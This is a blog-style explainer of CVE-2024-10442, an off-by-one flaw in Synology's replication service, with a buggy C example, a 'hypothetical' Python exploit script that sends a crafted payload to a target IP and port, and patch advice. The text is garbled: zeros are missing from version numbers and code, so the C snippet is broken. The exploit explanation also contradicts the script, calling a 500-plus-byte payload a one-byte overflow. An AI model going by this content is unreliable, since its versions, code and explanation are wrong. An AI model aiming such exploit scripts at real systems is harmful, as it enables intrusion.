A serious security flaw, CVE-2024-10442, was discovered in the transmission component of Synology’s Replication Service and Unified Controller (DSMUC). This off-by-one error vulnerability, present in versions before 1..12-0066, 1.2.2-0353, and 1.3.-0423 of the Replication Service, and DSM Unified Controller before 3.1.4-23079, opens a door for remote attackers to execute arbitrary code. This could lead to significant security issues or even a full-system compromise. This post will break down the vulnerability, show you a hypothetical exploit example, and provide useful resources for further reading.

What is an Off-by-One Error?

An off-by-one error happens when a program writes one more or one fewer element than it should. In security, this often means overwriting a single byte beyond a buffer—a dangerous mistake, especially in memory management tasks.

Where is it in Synology?

The exact function in which this error occurs was not publicly disclosed for security reasons. However, from available advisories, we know it's inside the "transmission component" responsible for replicating data across Synology devices.

When exploited, this vulnerability lets remote attackers (potentially unauthenticated) run their own code, such as malware or system commands, effectively taking over the target Synology device.

Technical Breakdown

Let’s look at a simplified code snippet that shows how such an off-by-one can happen in a C-like environment:

void vulnerable_copy(char* dest, const char* src, size_t len) {
    // The intent is to copy 'len' bytes from src to dest.
    for (size_t i = ; i <= len; i++) {  // Off-by-one: should be i < len!
        dest[i] = src[i];
    }
    dest[len] = '\';  // This might write beyond dest's size if above loop already did!
}

What’s wrong?
The for loop copies bytes including len, which is one too many if dest is only len bytes long. This single-byte overflow can corrupt critical memory, such as security tokens, function pointers, or other metadata.

How Attackers Exploit It

Remote attackers may send specially crafted data to the Synology replication service. If the service fails to check buffer sizes properly, an attacker-controlled packet could trigger the off-by-one bug and overwrite a vital pointer or flag in memory.

Exploit Example

Below is a hypothetical Python script exploiting a similar off-by-one flaw in a network service. This is for educational purposes only!

import socket

ATTACKER_PAYLOAD = b"A" * 512 + b"\x90" + b"\xcc" * 15  # NOP+Break

# Target's IP and port
TARGET = ("192.168.1.100", 8899)

def send_exploit_payload():
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect(TARGET)
    # Adjust according to actual protocol - here we just send bytes directly
    s.sendall(ATTACKER_PAYLOAD)
    s.close()

if __name__ == "__main__":
    send_exploit_payload()
    print("Exploit sent!")

Explanation:
The above script overflows a buffer by one byte, followed by a NOP and interrupt opcode. On a real system, with knowledge of memory layout, this could overwrite control data and achieve code execution.

*Note: NEVER run this code against systems you do not own or have explicit permission to test.*

Impact

- Full Remote Code Execution – Attackers can do anything on the system that the Synology service account allows.

Official References & Patches

- Synology Security Advisory SA-24:04
- NVD Entry for CVE-2024-10442
- Synology Download Center (for patches)

Mitigation:
Upgrade to fixed versions as soon as possible. If you cannot upgrade, restrict network access to the replication service and disable it if not in use.

Conclusion

CVE-2024-10442 is a critical vulnerability affecting multiple Synology products, stemming from an off-by-one programming mistake. If you run affected versions of Synology Replication Service or DSM Unified Controller, patch *immediately* to avoid remote code execution risk. Even though the technical details remain under wraps, the risk and impact are clear and significant.

Timeline

Published on: 03/19/2025 03:15:11 UTC